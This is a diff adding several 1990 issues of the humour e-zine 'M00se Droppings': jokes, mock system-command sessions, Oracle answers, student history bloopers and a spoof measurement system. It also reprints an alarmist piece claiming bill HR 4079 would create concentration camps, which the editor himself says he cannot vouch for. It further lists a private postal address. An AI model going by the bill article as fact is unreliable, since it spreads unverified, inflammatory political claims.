pulp against the stage. + The effect was impressive. Faculty and students alike were splattered +with fish bits, and gore covered the stage. Everybody (except John and Peter) +was appalled. It was truly a sight to behold. + The second story is the story of the haunting. John and Peter instructed +Mike in the fine art of haunting important national landmarks. Essentially, +what you do is throw a sheet over your head and run around the landmark in the +middle of the night, saying "WooooOOOOOooooooo! WOOOOooooOOOOOOOOOoooooooo!" +in a high-pitched voice. John and Peter haunted many places, including the +Eiffel Tower (second floor). Mike joined them to haunt the Acropolis. We hope +to get together and haunt several landmarks in New York City, and perhaps some +places in Hartford as well. We think it would be good for m00ses to join us. + The final story is the brief tale of John and Peter's discovery of the +M00se Illuminati. + "But what is this organization *for*?" they asked. + "*No*," said Mike, "You don't *understand*....." + They decided it was one of the coolest things they'd heard of in a long +while. + So, let us all welcome John and Peter into the M00se Illuminati, as the +Damn Whitefish Thr0ng. When I can beat them out of Mike, I'll send their +addresses. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[This item was pulled from POLITICS@UCF1VM. It originally came from Bob + Bickford, rab@well.sf.ca.us. I can't speak for its accuracy, but it's not + the kind of thing to take chances with. -WRD] + + EMERGENCY -- ACT! + + by Tomas Estrada-Palma + and Larry Monaghan + + + A new bill, HR 4079, co-sponsored by Representative Newt Gingrich and +Senator Phil Gramm, would open the way for American concentration camps to be +built, and thereafter permit the state to round up suspected drug users so they +can be forced to work without compensation for the state. + "The Drug and Crime Emergency Act" drips with patriotism as Gingrich tries +to vaguely connect the freedom movement in eastern Europe with America falling +deeper and deeper into "the slavery of drug addiction." + The bill proposes suspending the Constitution for five years so millions +of illegal drug users can be held by the state in concentration camps. All +internees will be forced to work and if anyone is caught with drugs in the +camps they will have one year added to their sentence each time -- with no +right to appeal. + HR 4079 calls for declaration of a five year national state of emergency-- +in essence, martial law. It proposes reopening the concentration camps of +WWII, using active and inactive military bases as prisons, and a new privately +owned prison system as well. To aid in accomplishing this, the 4th Amendment, +the 8th Amendment, and habeas corpus are either superseded, redefined, or +disallowed. A provision has been built in to allow the government to purchase +goods manufactured by prison slave labor. To ensure the duration of this labor +force, all previous maximum sentences would be changed to minimum sentences. +New mandatory sentences would be applied, and probation, parole, and suspension +of sentences revoked. + To provide an even greater pool to draw from, mandatory drug testing of +just about everyone above junior high school level has been included. The +resolution carefully avoids addressing the funding necessary. + Even after 30 press releases were sent out to all the national and local +news outlets by Maryland Libertarian Party members, there has been practically +no mention of the bill in the media. The state evidently is hoping to sweep +this bill into law right under our noses while we are all preoccupied with +other events taking place around the world. Surprisingly, the response from +libertarians as well as mainstream folks has been one of complacency. + Everyone needs to make phone calls and write letters. Direct your +correspondence to the media and your representatives as well as Gingrich and +Gramm. If they don't think you care about this bill becoming law -- it will! +Act now or cry behind the barbwire later. + +reproduced from the July 1990 Libertarian Party NEWS + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +Pretty little birdies, +Picking in the turdies. + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + +[Would that it were so. From Ice Lord (DICRESCE_PEJ@CTSTATEU.BITNET) -WRD.] + + "This just can't happen to me, I've got access to SYSPRV, something must +be wrong." + Let's face it, there comes a time in every privileged user's life when he/ +she finds out that privileges may have their uses, but don't you wish you could +use them in real life as well? Dream Equipment Corparation has come up with +the answer. A fully interfacable life modification system that plugs straight +between the unibus and reality, and is ready and waiting to help the privileged +user run his or her life. + + $ set def life: + $ run lauthorze + LAF> Mod bike/noflat_tyre + Cosmic Universe Updated + LAF> ^Z + $ + + $ set def lief: + $ run lauthorze + %LIFE-F-FNF, file not found lief:lauthorze + Do you wish to create a new life? N + $ set def life: + $ run lauthorze + LAF> Mod fingers/nomistakes + Cosmic Universe Updated + LAF> Show headache + + there are no defined hours of occurance + VICTIM: you SIGHT AFFECTATION: nil + DURATION: 2 hours ADDITIONS: Nausea, Cold Skin, Dry Tongue + ETA: .3 hours PAIN LIMIT: +2 (Richter) + AFTEREFFECTS: nil MAXIMUM PAIN LIMIT: infinite + + PRIMARY DAYS: Sat Sun + SECONDARY DAYS: Mon Tues Wed Thur Fri + 1:00 2:00 3:00 4:00 5:00 6:00 7:00 8:00 9:00 10:00 11:00 12:00 + P Days ---- **** **** ---- ---- **** --*- --** ---- ***** ***** ***** + S Days ---- ---- ---- ---- ---- **** **** **** **** ----- ----- ***** + + LAF> mod headache/victim="someone_else"/victim_type=prick/pain_limit=7 + Cosmic Universe Updated + LAF> ^Z + $ + + $ set def life: + $ run lauthorze + LAF> mod bank_manager/thoughts="Give loans away freely" + Cosmic Universe Updated + LAF> Mod bank/nomortgage + Cosmic Universe Updated + LAF> Mod Miss_Universe/winner="Miss America"/loser="Miss Scandinavia" + Cosmic Universe Updated + LAF> Mod wage_scale/add=20000 + Cosmic Universe Updated + LAF> ^Z + $ + + $ set def life: + $ run lauthorze + LAF> Mod TV/More_Black_Adder/no_more_Dallas + Cosmic Universe Updated + LAF> Mod religion/nodoubts + Cosmic Universe Updated + LAF> Mod personality/life_and_soul_of_the_party + Cosmic Universe Updated + LAF> ^Z + $ + + $ set def life: + $ run lauthorze + LAF> remove pope/heartattack + Cosmic Universe Updated, pope dies of heart attack + LAF> mod government/new_government=National + Cosmic Universe Updated + LAF> copy Fletcher_Challenge_Management Government/head_man="Muldoon"/nostrikes + Cosmic Universe Updated + LAF> add knowledge/access + Cosmic Universe Updated + LAF> sh me + Default Mother: Yours Default Father: Yours Birth Place: Yours + Name: Yours Age: Old enough Expiry Date: Soon! + Max Faults: Unlimited Max Lives: 9 Death place: Hospital + Max Wives: 3 Career: Computers Mode of Death: Resp Failure + + Privileges: + LIFEPRV, CHANGEAGE, MODLIFE, BYPASSALL, AVOIDDEATH, ALLOWALL + LAF> mod me/passaway + + --- Universe Going Down --- + + --- Please adjust reality accordingly --- + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[What happens when you take too long to put out a newsletter? It gets dated, + that's what! From AGTOA!GREYFOX@UUNET.UU.NET. -WRD.] + +We oughta get ahold of Donald Trump and involve him in the conspiracy! With +a few billion behind us, we'd be unstoppable! Or rather, MORE unstoppable. +With that kind of bread, we could start a M00se lobby in congress! We could +elect M00ses to high public office! Schools could be required to offer +courses in chaos engineering! What fun! + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[I was never a great Oracle fan, but now and then comes an answer that must be + passed around. Every once in a while, I'll pick out a couple. -WRD.] + +The Usenet Oracle has pondered your question deeply. +Your question was: + +> My Goldfish has recently gone off his food, and is behaving in an odd +> manner. First of all, a few days ago, he began swimming on his side and +> has a glazed look in his eyes, nothing i could do would make him change +> this. Now he is looking rather peaky and giving off a strange odour and +> i'm beginning to get worried. Is it me or is my goldfish trying to tell +> me something? + +And in response, thus spake the Oracle: + +} Do not be alarmed. This is perfectly normal behavior for a goldfish. +} It is just one of those phases in its life cycle. The next phase is +} called "decay." Large chunks of its flesh will break off and float to +} the surface. During this phase, the odor will get a little stronger. +} The water will become slightly murky. You may even discover a +} population of insects and minute organisms in the water. Eventually, +} the goldfish will appear to disintegrate entirely. It's at this point +} that I like to remove the water to a large dutch oven, add chopped +} onion, a little garlic, a few peppercorns, and a bay leaf and boil to +} reduce. You'll end up with a delicious fish stock that I hope you enjoy +} as much as I do. +} +} By the way, some humans prefer to bypass the "decay" phase and go +} directly to the "flush-down-the-toilet" phase. + +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- + + I'll be revamping this section, trying to do an interview-format (come to +think of it, like Goblinm00se and Godfrey did way back when...) + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + + A complete list of cyberm00ses will follow this newsletter. From that +point on, I will send an update in this section. When the list has changed +significantly enough (only *I* shall know, heh heh heh), I'll send a new copy +out. Au revoir, and bl00p! + +-------------------------------------------------------------------------------- +IL ISSUE----ANTI-SUNDEVIL ISSUE----ANTI-SUNDEVIL ISSUE----ANTI-SUNDEVIL ISSUE--- +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se42 b/textfiles.com/magazines/M00SE/m00se42 new file mode 100644 index 00000000..75a2bbfe --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se42 @@ -0,0 +1,546 @@ +================================================================================ +ANSWER TO THE ULTIMATE QUESTION OF LIFE, THE UNIVERSE AND EVERYTHING ISSUE -- AN +================================================================================ + + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue 42 | Disclaimer: The Editor does hereby take responsibility | 07/14/90 +---------- for the full contents of this newsletter. Accountability ---------- +is now the name of the game. A pox on playing it safe. Let's get real. Bl00p. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** THE ISSUE AT A GLANCE ***************************** +-------------------------------------------------------------------------------- + +EDITORIALS AND LETTERS + Bill says many pointless things + +IMPORTANT ANNOUNCEMENTS + A call for thr0ng-a-thons + +BOOK REVIEWS + Daniel Pinkwater -- his works + M00se Book of the Month: The Mulch of Aval0n, by 0laf 0lafs0ns0ns0n + +INTERESTING ARTICLES + Survival in the wake of the increasingly improbably nuclear holocaust + A classic: The history of the world according to history students + The new, official, standardized M00se Illuminati system of measurement + (part one) + +M00SCELLANEOUS NONSENSE + The Oracle speaks + +MEET THE M00SES + Still nobody this time + +-------------------------------------------------------------------------------- +*************************** EDITORIALS AND LETTERS ***************************** +-------------------------------------------------------------------------------- + + Welcome to this, issue number forty-two of "M00se Droppings." Not much +has happened in the past week; I haven't had any new news on the Electronic +Frontier Foundation (the group formed to fight Secret Service fascism on the +Net), or HR 4079 (the pre-bill designed to help further the fascist turn the +country is taking). Oops, actually, that's not quite true. I received a test +message from the EFF, indicating that I'm on their mailing list, and I received +the beginnings of HR 4079 from somebody on the Politics list, with a promise +that more would follow. But that's about it. The practical upshot? Sadly, +this issue will contain very little, if any, political content. + Now, I want you all to know that I'm very disappointed, submission-wise! +I have received submissions from b0liver shagnastY iv and Warm00se, and plans +from Goblin, but nothing else! We must have MORE! + On a lighter note, this issue will be mailed to the David Tarr chapter, +currently residing in Dublin, Ireland. Everybody wave to Dave, all one hundred +and seventy-five of you! Dave has been overseas for about a year now, working +in London, travelling Europe, and now (as I said) working in Dublin. He +probably doesn't get enough mail over there, and I'm sure he'd like to hear +from you. One can never have too much contact with the United States of +America, after all. Dave's mailing address is: + + David s Tarr + c/o USIT + Aston Quay + O'Connell Bridge + Dublin 2 + Ireland + + Don't forget to mark the envelope or package "Air Mail." We want Dave to +get it soon, don't we? + Lastly, before I start the issue, I want you all to know that you can +purchase a plastic ED-209 toy, approximately 5 1/2" tall, at Toys Backwards R +Us for $9.99. + +-------------------------------------------------------------------------------- +************************** IMPORTANT ANNOUNCEMENTS ***************************** +-------------------------------------------------------------------------------- + + The summer is drawing to a close at a startling rate. Time to plan +thr0ng-a-thons! + +-------------------------------------------------------------------------------- +******************************** BOOK REVIEWS ********************************** +-------------------------------------------------------------------------------- + +[Recommendations from Warm00se. -WRD] + + +Hi all! + I am here to make a recommendation for all of your summer (or other) +reading lists, and to nominate somone for Honorary M00sedom. The person in +question is Daniel Pinkwater, allegedly a "children's author", but, if you read +his stuff, you'll see this is not so. True, his books are found in the +Children's section of the library, but...well, read them and you'll understand. +:) + Pinkwater is brilliant! His stories are amusing, and I'm almost SURE he +knows about...THEM (fnord). I've seen stuff in several of his books and I'm +positive. I think we should make him and honorary m00se, and perhaps (just to +confuse him), actually contact him and notify him of his in(ab?)duction! ;) + His books are short, too, so you can usually read most of them within +20-30 minutes. (Now you don't have an excuse NOT to read them! :) ) + Anyway, check his stuff out! It's great! I've included a list below of +some of his works. + Also, if you look at his picture on some of the book jackets, you KNOW +he's one of us. :) + + Books written and in many cases illustrated by + DANIEL PINKWATER + (a.k.a. Manus Pinkwater, D. Manus Pinkwater, + Daniel M. Pinkwater, and others) + +* Alan Mendelsohn, The Boy From Mars +* Atilla the Pun + Bear's Picture + The Big Orange Splot +* Blue Moose + Return of the Moose +* The Moospire + The Blue Thing + Fat Elliot and the Gorilla +* Fat Men From Space +* The Hoboken Chicken Emergency + The Last Guru +* Lizard Music + Magic Camera +* The Magic Moscow + Pete, the Pestiferous Polecat + Pickle Creature + Superpuppy (with Jill Miriam Pinkwater) + The Terrible Roar + Three Big Hogs + Tooth Gnasher Super Flash +* Wingman + Wizard Crystal +* The Worms of Kukumlima + The Wuggie Norple Story (illustrated by Tomie De Paola) +* Yobgorgle: Mystery Monster of Lake Ontario +* The Muffin Fiend +* Slaves of Spiegel + + * = Ones I've read + + This list is taken from "The Worms of Kukumlima". Copyright 1981. I've +added to it a bit. + -Pat Salsbury + (DangerM00se) + V291NHTP@UBVMS.BITNET + SALSBURY@AUTARCH.ACSU.BUFFALO.EDU + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[Yet Another m00se b00k of the M0nth Club selection, from b0liver + shagnastY iv.] + + + The Mulch 0f Aval0n + by 0laf 0lafs0ns0ns0n + + Just when you thought you'd read the tale of Arthur and his Camel0t from +every possible point of view. The Mulch 0f Aval0n (6528 pages, $59.95 from +Batman Books) spins an enchanting tale of knights, druids, and all that crap +(especially the crap) from the point of view of a blue b0ttled shit fly. A +must for the fantasy fan who likes to think he/she is reading real literature +and not just another piece of fantasy crap (in fact, the reader is reading not +only crap, but ABOUT it). Learn the contents of an Arthurian banquet--0laf +0lafs0ns0ns0n has thoroughly researched his material. What grade of hay did a +jousting horse eat just before a tourney? 0lafs0ns0ns0n also retells the story +of the Crystal Stool of Merlin with a decidedly more human twist. And what was +the secret sin of Guinevere that only a shitfly would know? + An exerpt: + + Myllwenquill's wings almost gave out as he finally + landed on a clump of dung near the soldier's + encampment. Something was wrong in the air. He + listened as nearby he heard the boy-king who was + now a man making plans with his trusted aides. + Myllwenquill's proboscis twitched again. Something + was wrong about this pie. It smelled like a + croissant--it must belong to that French Knight, + who had never been bested in combat. He was now in + the service of the King, it seemed. + + Yes, you too can own this epic fantasy. + + Regular price: $59.95 + M00se B00k Club price $599.50 + 6 book dividends and 23 CitiDollars + + Do not send a message to us in 3 days if you want to recieve this +selection. + +-------------------------------------------------------------------------------- +**************************** INTERESTING ARTICLES ****************************** +-------------------------------------------------------------------------------- + +[b0liver shagnastY iv, of the Wilfred Hyde-White Memorial Thr0ng, provides us + with this massively useful item. -WRD] + + + SAFETY TIPS FOR POST-NUCLEAR LIVING + + 1. Never use the elevator in a building hit by a nuclear device; use the + stairs instead. + + 2. When flying through the air, remember to roll as you hit the ground. + + 3. If you are on fire, avoid gasoline and other flammable substances. + + 4. Don't attempt to communicate with dead people; it only leads to + psychological problems. + + 5. Food will be scarce; you will have to scavange. Learn to recognize foods + that will be available after a nuclear holocaust: mashed potatoes, + shredded wheat, tossed salad, ground beef, etc. + + 6. Remember to cover your mouth when you sneeze; internal organs will be + scarce in the post-nuclear age. + + 7. Try to be neat; fall only in designated piles. + + 8. Drive carefully when travelling through "heavy fallout" shelters; people + could be staggering illegally. + + 9. Nutritionally, a $100 dollar bill is equal to a $1 bill, and more sanitary + due to limited circulation. + +10. Accumulate mannequins now; spare parts will be in short supply on D-day. + + + --Author unknown + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[Many of you may have seen this before, but those of you who haven't will get a + kick out of it. Submitted by Gary Olsen. -WRD] + + + The article below is from "Verbatim" magazine, around May of 1987. + + The World According to Student Bloopers + Richard Lederer + St. Paul's School + + One of the fringe benefits of being an English or History teacher is +receiving the occasional jewel of a student blooper in an essay. I have pasted +together the following "history" of the world from certifiably genuine student +bloopers collected by teachers throughout the United States, from eight grade +through college level. Read carefully, and you will learn a lot. + + The inhabitants of Egypt were called mummies. They lived in the Sarah +Dessert and traveled by Camelot. The climate of the Sarah is such that the +inhabitants have to live elsewhere, so certain areas of the dessert are cul- +tivated by irritation. The Egyptians built the Pyramids in the shape of a huge +triangular cube. The Pramids are a range of mountains between France and +Spain. + The Bible is full of interesting caricatures. In the first book of the +Bible, "Guinesses," Adam and Eve were created from an apple tree. One of their +children, Cain, asked "Am I my brother's son?" God asked Abraham to sacrifice +Issac on Mount Montezuma. Jacob, son of Issac, stole his brother's birthmark. +Jacob was a partiarch who brought up his twelve sons to be partiarchs, but they +did not take to it. One of Jacob's sons, Joseph, gave refuse to the Israelites. + Pharaoh forced the Hebrew slaves to make bread without straw. Moses led +them to the Red Sea, where they made unleavened bread, which is bread made +without any ingredients. Afterwards, Moses went up on Mount Cyanide to get the +ten commandments. David was a Hebrew king skilled at playing the liar. He +fought with the Philatelists, a race of people who lived in Biblical times. +Solomon, one of David's sons, had 500 wives and 500 porcupines. + Without the Greeks, we wouldn't have history. The Greeks invented three +kinds of columns - Corinthian, Doric and Ironic. They also had myths. A myth +is a female moth. One myth says that the mother of Achilles dipped him in the +River Stynx until he became intolerable. Achilles appears in "The Illiad", by +Homer. Homer also wrote the "Oddity", in which Penelope was the last hardship +that Ulysses endured on his journey. Actually, Homer was not written by Homer +but by another man of that name. + Socrates was a famous Greek teacher who went around giving people advice. +They killed him. Socrates died from an overdose of wedlock. + In the Olympic Games, Greeks ran races, jumped, hurled the biscuits, and +threw the java. The reward to the victor was a coral wreath. The government +of Athen was democratic because the people took the law into their own hands. +There were no wars in Greece, as the mountains were so high that they couldn't +climb over to see what their neighbors were doing. When they fought the +Parisians, the Greeks were outnumbered because the Persians had more men. + Eventually, the Ramons conquered the Geeks. History call people Romans +because they never stayed in one place for very long. At Roman banquets, the +guests wore garlic in their hair. Julius Caesar extinguished himself on the +battlefields of Gaul. The Ides of March killed him because they thought he +was going to be made king. Nero was a cruel tyrany who would torture his poor +subjects by playing the fiddle to them. + Then came the Middle Ages. King Alfred conquered the Dames, King Arthur +lived in the Age of Shivery, King Harlod mustarded his troops before the +Battle of Hastings, Joan of Arc was cannonized by George Bernard Shaw, and the +victims of the Black Death grew boobs on their necks. Finally, the Magna Carta +provided that no free man should be hanged twice for the same offense. + In midevil times most of the people were alliterate. The greatest writer +of the time was Chaucer, who wrote many poems and verse and also wrote liter- +ature. Another tale tells of William Tell, who shot an arrow through an apple +while standing on his son's head. + The Renaissance was an age in which more individuals felt the value of +their human being. Martin Luther was nailed to the church door at Wittenberg +for selling papal indulgences. He died a horrible death, being excommunicated +by a bull. It was the painter Donatello's interest in the female nude that +made him the father of the Renaissance. It was an age of great inventions and +discoveries. Gutenberg invented the Bible. Sir Walter Raleigh is a historical +figure because he invented cigarettes. Another important invention was the +circulation of blood. Sir Francis Drake circumcised the world with a 100-foot +clipper. + The government of England was a limited mockery. Henry VIII found walking +difficult because he had an abbess on his knee. Queen Elizabeth was the "Vir- +gin Queen." As a queen she was a success. When Elizabeth exposed herself be- +fore her troops, they all shouted "hurrah." Then her navy went out and +defeated the Spanish Armadillo. + The greatest writer of the Renaissance was William Shakespear. Shakespear +never made much money and is famous only because of his plays. He lived in +Windsor with his merry wives, writing tragedies, comedies and errors. In one +of Shakespear's famous plays, Hamlet rations out his situation by relieving +himself in a long soliloquy. In another, Lady Macbeth tries to convince Mac- +beth to kill the King by attacking his manhood. Romeo and Juliet are an +example of a heroic couplet. Writing at the same time as Shakespear was Miquel +Cervantes. He wrote "Donkey Hote". The next great author was John Milton. +Milton wrote "Paradise Lost." Then his wife died and he wrote "Paradise +Regained." + During the Renaissance America began. Christopher Columbus was a great +navigator who discovered America while cursing about the Atlantic. His ships +were called the Nina, the Pinta, and the Santa Fe. Later the Pilgrims +crossed the Ocean, and the was called the Pilgrim's Progress. When they +landed at Plymouth Rock, they were greeted by Indians, who came down the hill +rolling their war hoops before them. The Indian squabs carried porposies on +their back. Many of the Indian heroes were killed, along with their cabooses, +which proved very fatal to them. The winter of 1620 was a hard one for the +settlers. Many people died and many babies were born. Captain John Smith was +responsible for all this. + One of the causes of the Revolutionary Wars was the English put tacks in +their tea. Also, the colonists would send their pacels through the post with- +out stamps. During the War, Red Coats and Paul Revere was throwing balls over +stone walls. The dogs were barking and the peacocks crowing. Finally, the +colonists won the War and no longer had to pay for taxis. + Delegates from the original thirteen states formed the Contented Congress. +Thomas Jefferson, a Virgin, and Benjamin Franklin were two singers of the +Declaration of Independence. Franklin had gone to Boston carrying all his +clothes in his pocket and a loaf of bread under each arm. He invented elec- +tricity by rubbing cats backwards and declared "a horse divided against itself +cannot stand." Franklin died in 1790 and is still dead. + George Washington married Matha Curtis and in due time became the Father +of Our Country. Then the Constitution of the United States was adopted to +secure domestic hostility. Under the Constitution the people enjoyed the +right to keep bare arms. + Abraham Lincoln became America's greatest Precedent. Lincoln's mother +died in infancy, and he was born in a log cabin which he built with his own +hands. When Lincoln was President, he wore only a tall silk hat. He said, +"In onion there is strength." Abraham Lincoln write the Gettysburg address +while traveling from Washington to Gettysburg on the back of an envelope. He +also signed the Emasculation Proclamation, and the Fourteenth Amendment gave +the ex-Negroes citizenship. But the Clue Clux Clan would torcher and lynch +the ex-Negroes and other innocent victims. On the night of April 14, 1865, +Lincoln went to the theater and got shot in his seat by one of the actors in +a moving picture show. The believed assinator was John Wilkes Booth, a sup- +posedly insane actor. This ruined Booth's career. + Meanwhile in Europe, the enlightenment was a reasonable time. Voltare +invented electricity and also wrote a book called "Candy". Gravity was +invented by Issac Walton. It is chiefly noticeable in the Autumn, when the +apples are falling off the trees. + Bach was the most famous composer in the world, and so was Handel. Handel +was half German, half Italian and half English. He was very large. Bach died +from 1750 to the present. Beethoven wrote music even though he was deaf. He +was so deaf he wrote loud music. He took long walks in the forest even when +everyone was calling for him. Beethoven expired in 1827 and later died for +this. + France was in a very serious state. The French Revolution was accom- +plished before it happened. The Marseillaise was the theme song of the French +Revolution, and it catapulted into Napoleon. During the Napoleonic Wars, the +crowned heads of Europe were trembling in their shoes. Then the Spanish +gorrilas came down from the hills and nipped at Napoleon's flanks. Napoleon +became ill with bladder problems and was very tense and unrestrained. He +wanted an heir to inheret his power, but since Josephine was a baroness, she +couldn't bear him any children. + The sun never set on the British Empire because the British Empire is in +the East and the sun sets in the West. Queen Victoria was the longest queen. +She sat on a thorn for 63 years. Her reclining years and finally the end of +her life were exemplatory of a great personality. Her death was the final +event which ended her reign. + The nineteenth century was a time of many great inventions and thoughts. +The invention of the steamboat caused a network of rivers to spring up. Cyrus +McCormick invented the McCormick Raper, which did the work of a hundred men. +Samuel Morse invented a code for telepathy. Louis Pastuer discovered a cure +for rabbis. Charles Darwin was a naturailst who wrote the "Organ of the +Species". Madman Curie discovered radium. And Karl Marx became one of the +Marx Brothers. + The First World War, cause by the assignation of the Arch-Duck by a surf, +ushered in a new error in the anals of human history. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[Submitted by myself and Mike Harm. -WRD] + + + The world is in need of many things. But it occurred to Mike Harm and +myself recently that one thing it needs very badly is a new, standardized +system of measurement. + Look at the facts: The English system has been rejected almost all the +world over. It is old, it is unpopular. Clearly it cannot become the world +standard. + The metric system, on the other hand, has been rejected by the most +powerful nation on the planet (the United States) as well as the most powerful +third world nation on the planet (Great Britain). In addition, it lacks +personality. Nobody wants to order a liter of beer, or a half liter, or five +hundred milliliters. It just doesn't sound right. It's a cold system. + So we have taken it upon ourselves to solve this problem. Below is the +beginning of the new M00se Illuminati Standardized System of Measurements. +Additions to this system will appear in later issues. Everybody start +converting! + + +I) VELOCITY + + For our unit of velocity measure, we have chosen "furlongs per fortnight." +This unit will replace the previous standards of MPH and KPH, and all +derivatives thereof. + Conversion is quite simple. There are 220 yards in a furlong, or 660 +feet, or .125 miles. Therefore, there are 8 furlongs in a mile. (Bear in +mind, we are only using "miles," "yards," "feet," and any other obsolete units +of measurement to help define the new units.) + One mile per hour would therefore be eight furlongs per hour. Since there +are 336 hours in a fortnight, one mile per hour is equal to 2,688 furlongs per +fortnight. From this figure, we can create the following chart: + + + CHART ONE -- VELOCITY MEASURE + + MPH KPH FPF + === === === + 0.6 1 1,612.8 + 01 1.67 2,688 + 10 17 26,880 + 20 33 53,760 + 30 50 80,640 + 40 67 107,520 + 50 83 134,400 + 55 92 147,840 + 60 100 161,280 + 75 125 201,600 + 100 167 268,800 + + Speed of sound (sea level, 46.72 CaH): 321,994,007 + Speed of Light: 1,802,617,506,000 + + + The chart contains many commonly-used velocities. Most figures are +rounded, as this is a general-use chart, not a scientific-use chart. Any +velocities not shown on the chart can be calculated as above. Change your +speedometers. Get bumper stickers that say "147,840: it's not just a good +idea, it's the law," and "147,840 saves lives." + + +II) TEMPERATURE + + As most of you will no doubt agree, the current practice of using a single +system of temperature measurement to measure both hot and cold temperatures is +silly. How similar is the core of the sun to the antarctic deep-freeze? Not +at all, of course! So why do we insist upon using the same system to measure +them? + We have addressed this problem by creating TWO units of temperature +measurement. For cold temperatures, we have created the "Coldashell" (CaH). A +single Coldashell is equal in size to 1.37 degrees Farenheit. Zero degrees +Coldashell equals -32 degrees Farenheit. To convert from degrees F to degrees +CaH, use the following formula: + + (dF + 32) / 1.37 = dCaH + +where dF = degrees Farenheit, and dCaH = degrees Coldashell. You will not, of +course, have to convert in the other direction (since CaH will from now on be +the standard); therefore, no conversion formula is provided for CaH to F. + To deal with hot temperatures, we have created the "Hotashell" (HaH). A +single Hotashell is equal in size to pi degrees Celsius. Zero degrees +Hotashell equals 50 degrees Celsius. To convert from degrees C to degrees CaH, +use the following formula: + + (dC - 50) / pi = dHaH + +where dC = degrees Celsius, and dHaH = degrees Hotashell. Again, since there +is no need to convert in the other direction, no formula is provided. + Conversions between all four systems are shown on the chart below: + + +CHART TWO -- TEMPERATURE + + Far. Cel. CaH HaH + ==== ==== === === +0 Coldashell -32 -36 0 -27 +0 Farenheit 0 -18 23 -22 +Freezing (0 C) 32 0 47 -16 +Room temp. 72 22 76 -9 +Body temp. 98.6 37 95 -4 +0 Hotashell 122 50 112 0 +Boiling 212 100 178 16 + + + Well, that's it for now. Stand by for next issue, and additions to the +official, standardized M00se Illuminati system of measurement! + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + +[Even the Oracle must deal with awkward questions. -WRD] + + +The Usenet Oracle has pondered your question deeply. +Your question was: + +> I love you. + +And in response, thus spake the Oracle: + +} Well there isn't really much one can say to this, I'm extremely flattered and +} If you'd stop by my house I'd show you how much. My address is: +} +} 1600 Pennsylvania Ave Washington DC +} +} Ask for Mr. B, they'll know who you mean. +} +} You owe the Oracle a service, you must remove WWF from TV. + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + + There have been many changes to the list, so instead of an update, a new +complete list will follow this issue. + +================================================================================ +SWER TO THE ULTIMATE QUESTION OF LIFE, THE UNIVERSE AND EVERYTHING ISSUE -- ANSW +================================================================================ diff --git a/textfiles.com/magazines/M00SE/m00se43 b/textfiles.com/magazines/M00SE/m00se43 new file mode 100644 index 00000000..7101b0e8 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se43 @@ -0,0 +1,424 @@ +================================================================================ +ELVIS IS EVERYWHERE ISSUE -- ELVIS IS EVERYTHING ISSUE -- ELVIS IS EVERYBODY ISS +================================================================================ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue 43 | Disclaimer: The Editor does hereby take responsibility | 08/09/90 +---------- for the full contents of this newsletter. Accountability ---------- +is now the name of the game. A pox on playing it safe. Let's get real. Bl00p. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** THE ISSUE AT A GLANCE ***************************** +-------------------------------------------------------------------------------- + +EDITORIALS AND LETTERS + Standard opening from WRD + +IMPORTANT ANNOUNCEMENTS + Files available from Pickle + Honorary M00se candidate + +EVENTS AND NEWS + The Water-Logged Thr0ng-a-Th0n + The US invades the US + A most m00sey wedding + +INTERESTING ARTICLES + The Hunting of the M00se + Elvis Presley -- Pr0t0m00se? + Thomas Jefferson on the Illuminati + +M00SCELLANEOUS NONSENSE + Campus Crusade for Cthulhu + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + + Greetings, and welcome to Issue #43. It's late, I 